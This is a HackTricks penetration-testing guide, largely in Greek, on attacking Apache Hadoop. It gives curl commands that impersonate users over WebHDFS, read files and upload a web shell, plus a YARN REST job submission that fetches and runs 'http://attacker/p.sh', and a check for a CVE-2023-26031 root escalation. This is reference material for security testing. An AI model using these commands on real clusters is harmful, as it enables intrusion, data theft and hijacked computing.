50030-50060-50070-50075-50090 - Pentesting Hadoop
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Apache Hadoop είναι ένα πλαίσιο ανοιχτού κώδικα για κατανεμημένη αποθήκευση και επεξεργασία μεγάλων συνόλων δεδομένων σε συστοιχίες υπολογιστών. Χρησιμοποιεί HDFS για αποθήκευση και MapReduce για επεξεργασία.
Χρήσιμες προεπιλεγμένες θύρες:
- 50070 / 9870 NameNode (WebHDFS)
- 50075 / 9864 DataNode
- 50090 Secondary NameNode
- 8088 YARN ResourceManager web UI & REST
- 8042 YARN NodeManager
- 8031/8032 YARN RPC (συχνά παραβλέπεται και παραμένει χωρίς έλεγχο ταυτότητας σε πολλές εγκαταστάσεις)
Δυστυχώς το Hadoop δεν υποστηρίζεται στο Metasploit framework κατά τη στιγμή της τεκμηρίωσης. Ωστόσο, μπορείτε να χρησιμοποιήσετε τα παρακάτω Nmap scripts για να ανιχνεύσετε/καταγράψετε τις υπηρεσίες Hadoop:
hadoop-jobtracker-info (Port 50030)hadoop-tasktracker-info (Port 50060)hadoop-namenode-info (Port 50070)hadoop-datanode-info (Port 50075)hadoop-secondary-namenode-info (Port 50090)
Είναι κρίσιμο να σημειωθεί ότι το Hadoop λειτουργεί χωρίς έλεγχο ταυτότητας στην προεπιλεγμένη ρύθμισή του. Ωστόσο, για ενισχυμένη ασφάλεια, υπάρχουν ρυθμίσεις για ενσωμάτωση του Kerberos με υπηρεσίες HDFS, YARN και MapReduce.
WebHDFS / HttpFS κατάχρηση (50070/9870 ή 14000)
Όταν security=off μπορείτε να προσποιηθείτε οποιονδήποτε χρήστη με την παράμετρο user.name. Μερικές γρήγορες τεχνικές:
# list root directory
curl "http://<host>:50070/webhdfs/v1/?op=LISTSTATUS&user.name=hdfs"
# read arbitrary file from HDFS
curl -L "http://<host>:50070/webhdfs/v1/etc/hadoop/core-site.xml?op=OPEN&user.name=hdfs"
# upload a web shell / binary
curl -X PUT -T ./payload "http://<host>:50070/webhdfs/v1/tmp/payload?op=CREATE&overwrite=true&user.name=hdfs" -H 'Content-Type: application/octet-stream'
Αν το HttpFS είναι ενεργό (προεπιλεγμένη θύρα 14000) οι ίδιες REST διαδρομές ισχύουν. Πίσω από Kerberos μπορείτε ακόμα να χρησιμοποιήσετε curl --negotiate -u : με έγκυρο ticket.
YARN unauth RCE (8088)
Η ResourceManager REST API δέχεται υποβολές εργασιών χωρίς auth στην προεπιλεγμένη λειτουργία “simple” (dr.who). Οι επιτιθέμενοι το εκμεταλλεύονται για να εκτελέσουν αυθαίρετες εντολές (π.χ. miners) χωρίς να χρειάζονται δικαιώματα εγγραφής στο HDFS.
# 1) get an application id
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps/new-application
# 2) submit DistributedShell pointing to a command
curl -s -X POST http://<host>:8088/ws/v1/cluster/apps \
-H 'Content-Type: application/json' \
-d '{
"application-id":"application_1234567890000_0001",
"application-name":"pwn",
"am-container-spec":{
"commands":{"command":"/bin/bash -c \"curl http://attacker/p.sh|sh\""}
},
"application-type":"YARN"
}'
If port 8031/8032 RPC is exposed, older clusters allow the same job submission over protobuf without auth (documented in several cryptominer campaigns) – treat those ports as RCE as well.
Local PrivEsc from YARN containers (CVE-2023-26031)
Hadoop 3.3.1–3.3.4 container-executor loads libs from a relative RUNPATH. A user who can run YARN containers (including remote submitters on insecure clusters) may drop a malicious libcrypto.so in a writable path and get root when container-executor runs with SUID.
Γρήγορος έλεγχος:
readelf -d /opt/hadoop/bin/container-executor | grep 'RUNPATH\|RPATH'
# vulnerable if it contains $ORIGIN/:../lib/native/
ls -l /opt/hadoop/bin/container-executor # SUID+root makes it exploitable
Διορθώθηκε στην 3.3.5· διασφαλίστε ότι το binary δεν είναι SUID εάν δεν απαιτούνται secure containers.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


